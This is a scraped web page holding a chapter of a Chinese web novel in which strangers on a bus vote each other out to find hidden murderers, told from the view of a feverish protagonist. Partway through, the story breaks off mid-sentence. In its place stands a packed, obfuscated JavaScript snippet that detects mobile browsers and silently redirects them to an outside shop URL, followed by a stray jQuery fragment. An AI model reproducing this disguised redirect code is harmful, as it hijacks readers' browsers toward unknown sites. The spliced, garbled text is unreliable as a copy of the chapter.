文趣网 > 其他小说 > 这无限游戏谁给我报的名 > 5. 找呀找呀找朋友(5)
    【我会开枪,而且越早开枪对我越有利。】

    “本轮投票结束。”

    冰冷的广播音第三次响起,和梁阿汀回忆里三年前那个男生的声音交叠。

    【陌生环境下的平衡是很脆弱的,就像一个颤颤巍巍的肥皂泡,无论多么细小的动作,哪怕只是一个呼吸,都有可能打破这个平衡。】

    “本轮共五人弃票……”

    【而平衡一旦被打破,你不主动开枪,你就有可能被别人开枪杀死。】

    “投出嫌疑人:姜雪,钱克,张欣茹……”

    【这个时候,开枪反而是自保的最佳手段。】

    “投出凶手一位,游戏继续,第四轮讨论时间,半小时倒计时开始。”

    梁阿汀重重地闭了眼睛。

    果然,她最不希望看见的结果还是发生了。

    姜雪冷笑一声,盯着钱克的目光冰冷厌恶:“虚伪。”

    钱克满脸的还没反应过来。

    姜雪根本不管他是什么反应,她随意看了眼自己消失了一半的小腿,跟车上默不作声看着她的其他人说:“我帮你们投出来了一个凶手,剩下的那个……”

    她冷冷地瞥了一眼李佳伟,眼神不言而喻。

    “你投了我?”钱克跟不上她的节奏,但他看见了自己的脚在变得透明。

    姜雪厌恶地盯着他,像盯着一堆散发着腐烂味道、恶心至极的垃圾:“还装。”

    “我没有投你!我弃票了!”钱克突然大声吼道,“你投了我!?”

    钱克踉跄着想去揪姜雪的衣领,手却从她的领口穿了出去。他们二人的身体都已经变得半透明。

    姜雪站在原地没有动,半透明已经蔓延到了她的下巴,她就那么冷冷地看着钱克,对着他无声地说了句什么。

    梁阿汀读懂了,那是三个字——

    “去死吧。”

    姜雪消失了,和刘子萌张欣茹一样。她消失后,钱克才终于从愤怒中缓过神来,惊慌和无措一起从眼底漫了上来。

    “是谁……是谁!”他扫过车上的所有人,试图找到答案,却没看出来任何东西,车上的人眼神都是差不多的怜悯,和无力回天。

    钱克的脖子以下已经完全半透明了,他突然停下了动作,像是突然想明白了什么,猛地扭头去看身后的李佳伟。

    也瞬间捕捉到了他眼里没来得及藏住的一丝错愕。

    “……你?”

    李佳伟没有回避钱克的视线,他坦然地与他对视,眼睛里除了刚才的错愕之外,没有其他的情绪,被发现的紧张、愧疚,甚至是恐惧,都没有,有的只是平静,和理所当然。

    “姜雪是我投的。”李佳伟淡淡开口,不顾车上人看怪物一样的眼神,冷静道,“上一轮谁投了刘子萌我不知道,但我知道这一轮如果我不投姜雪,那我们两个都要死。”

    “你为什么不跟我说?”被背叛,被人背后捅了刀的愤怒完全盖过了钱克的恐惧,他红着眼睛,狠狠地盯着李佳伟,“你知道姜雪要投我,但是你什么也没说!你就眼睁睁看着我被她害死!”

    李佳伟没说话,脸上也没有什么表情,镜片因为角度问题反了光,把他的眼睛完全遮住,也遮住了他眼里的情绪。

    这副样子不知怎的,和梁阿汀印象中那个做读书汇报的男生重叠在了一起。

    这是一类人。

    似乎是习惯了李佳伟的沉默,也似乎是知道自己已经无力回天,钱克突兀地开了口:“我当初就不应该……”

    话还没说完,他就消失在了车上。

    短短一个多小时,车上已经由最开始的十个人变成了六个人。

    少了将近一半。

    钱克消失之后,车内再次陷入了令人窒息的寂静,梁阿汀低着头,感受着自己灼热的呼吸,她现在已经开始有耳鸣的感觉了。

    目送着钱克消失后,李佳伟顺势坐下,沉默地看着窗外一片白茫茫。

    “那个……所以,刚刚投出去的凶手是谁啊?”王国豪一句话打破了沉默。

    “钱克,姜雪,张欣茹,他们中的一个。”陈硕说道。

    “那刘子萌不是,姜雪也就不是,张欣茹早就没了,那不就……”只剩下钱克了?

    王国豪小心翼翼地看了眼李佳伟,他害怕钱克,但他其实更怕钱克身边的这个不怎么说话的同伴。

    有句俗话讲会咬人的狗不叫,比起动不动就骂人甚至动手的钱克,息怒不形于色的李佳伟更让人捉摸不透,这种人在生意场上会是最棘手的竞争对手,而对标现在这种情况,这种人反而是适应最快的。

    “还不能确定。”周珂直视着王国豪回应道,“在没有明确线索的情况下我们不能这么简单地武断。”

    说着她有意无意地看了眼李佳伟,后者沉着脸,眼睛一眨不眨地盯着窗外,不知道在想什么。

    “比起这个,现在有一个更要紧的问题。”陈硕从前半部分坐着的司季开始,视线一个一个扫过来,最后定格在梁阿汀身上,“除了姜雪和李佳伟,刚刚是谁没有弃票?”

    梁阿汀的眼前开始模糊了,她用力眨了下眼睛,低声道:“张欣茹是我投的。”

    “我想试试触犯规则消失的人是否还能成为投票对象。”

    梁阿汀这话是看着陈硕说的,因为全车剩下的人,除去一言不发的闷葫芦,只有这个瑜伽教练似乎是能顺利沟通的。

    “那第二轮的刘子萌该不会也是你……”王国豪脱口而出。

    “不会,刘子萌不会是她投的。”陈硕说。

    梁阿汀在心里谢谢他,此时她头疼得想梆梆给自己脑瓜来两拳,根本说不出话。

    形势似乎又发展到了死胡同。

    “李佳伟同学。”陈硕代表其它四个人向坐在窗边的人开了口,“我觉得你应该给我们所有人一个解释。”

    李佳伟将视线从窗外移到了陈硕身上,略过了他的白衬衫,略过他只卷了一边的袖口,移到他脸上。

    声音还是一如之前的淡然,没什么起伏:“事实你们都知道了,姜雪是我投的,钱克是姜雪投的,凶手在他们三人中间,另一个凶手是谁我也不知道,规则没说凶手是否知道自己的身份,也没说凶手一定互相认识,所以你们大可不必盯着我不放。”

    “但是就像你说的,凶手可能并不知道自己是凶手,所以你也不是没有嫌疑的。”陈硕严肃道。

    他话音刚落,李佳伟就说:“照你这么说,每个人都有嫌疑。”

    陈硕问:“刘子萌是你投的吗?”

    李佳伟斩钉截铁:“不是。”

    话题无法再进行下去了,陈硕没再说话,于是众人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609586|205890||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    又陷入了沉默。

    “我们……这一轮还是弃票吗?”王国豪扭头去看陈硕。

    陈硕沉吟片刻,说:“我一直都主张全员弃票,可现在这个情况……”

    他话没说完,但在场的所有人都听明白了他的话外音。

    他话音又一转:“但是我还是希望大家能够停止互相猜疑,多给自己争取点时间,找出真正的凶手。”

    梁阿汀垂下了眼皮,她棒球服外套的袖口上不知从哪里蹭得灰了一块,她伸手去搓,没搓掉。

    其实李佳伟的逻辑很容易想明白。

    现在这种情况就像三年前那个做汇报的男同学说的那样,未知且充满危险的环境,就像是一座黑暗森林,他们这些互不相识的人就像拿枪的猎人,从第二轮刘子萌被投走开始,这个环境下脆弱的平衡就被打破了。

    因为刘子萌的消失,姜雪在第三轮对钱克开了枪。

    李佳伟很聪明,也很谨慎。他了解钱克的性格,知道他顶多就是口嗨,投票亲手把人送走这种事他干不出来。同时他也猜到姜雪一定会投钱克,并且因为他跟钱克的关系,投走钱克后下一个一定会投他,于是他干脆主动对姜雪开了枪。

    螳螂捕蝉,黄雀在后。牺牲钱克一人,换来的是自己的安全。

    梁阿汀偷偷去看李佳伟的表情,这个人从一开始的存在感就不高,为数不多被人注意到也是因为钱克的咋呼,现在没了钱克,他整个人更是安静得仿佛不存在。

    李佳伟藏在眼镜后面的眼睛里没有情绪,同班同学在自己面前消失好像对他没有任何影响,在他心里掀起的波澜甚至还没有得知梁阿汀投了张欣茹来得强。

    冷静,理智,加上冷血,如果这种游戏并不只有这一个——梁阿汀做好了最坏的心理准备——如果这只是他们要经历的第一个游戏,如果这次李佳伟成功通关,他会是最快适应的那种人。

    “规则有没有可能玩文字游戏?”一片安静中,周珂开口,打破了沉默。

    陈硕扭头看她:“什么意思?”

    “规则说凶手可能不止一个,它没说一定不止一个。”周珂抬起头,甩了下头发,露出眼睛,“所以万一凶手真的只有一个呢?”

    “不对啊……”还没等陈硕说话,王国豪就发现了盲点,“如果只有一个,那我们现在应该已经通关了啊。”

    “两种可能,要么凶手还有一个,要么我们还差某个关键步骤。”周珂道。

    周珂的声音传到梁阿汀脑子里的时候已经听不清完整的内容了。

    梁阿汀眯着眼睛,她的眼睛很酸,她感觉体内有一股热气直冲眼睛,烫得她眼圈发红,生理泪水模糊了视线。她用手搓了一把,眼角一疼。

    人在高烧的时候身体的敏感程度会直线上升,一点点疼都会被放大得格外明显,梁阿汀把刚刚搓眼睛的手指伸到面前,那手指上有一条细小的伤口,已经结了痂,过不了多久就会痊愈。

    刚刚就是这个痂磨到了她的眼睛。

    她这手是什么时候伤的?醒来之后划到哪里了吗?

    梁阿汀在脑子里自言自语,她盯着那只手指,一直盯着,盯着盯着,就看见手指变成了两个,然后变成了五个,六个……

    车后方传来“咚”地一声,车上五个人循声望去,目睹梁阿汀栽倒在了座位上。